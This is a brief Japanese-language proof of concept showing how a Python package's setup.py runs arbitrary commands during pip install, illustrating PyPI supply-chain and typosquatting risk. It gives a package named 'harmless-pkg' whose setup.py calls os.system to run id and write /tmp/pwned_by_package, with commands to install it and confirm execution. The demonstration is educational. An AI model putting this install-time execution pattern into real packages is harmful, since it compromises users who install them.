
悪意のあるPythonパッケージがsetup.pyを介してpip install中に任意のコマンドを実行する方法を示し、PyPIのサプライチェーンおよびタイポスクワッティングのリスクを強調しています。
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
PyPIパッケージは、pip install中に実行される任意のコードをsetup.pyに含めることができます。攻撃者は人気のあるパッケージに似た名前のパッケージを公開し(タイポスクワッティング)、インストール時にペイロードがユーザーの権限で実行され、リモートコード実行につながる可能性があります。
setup.pyをサンドボックスなしで実行するため、パッケージに完全なアクセス権を与えます。setup.pyを含む悪意のあるパッケージディレクトリを作成します。pip install ./harmless-pkg
cat /tmp/pwned_by_package
idコマンドが実行されました。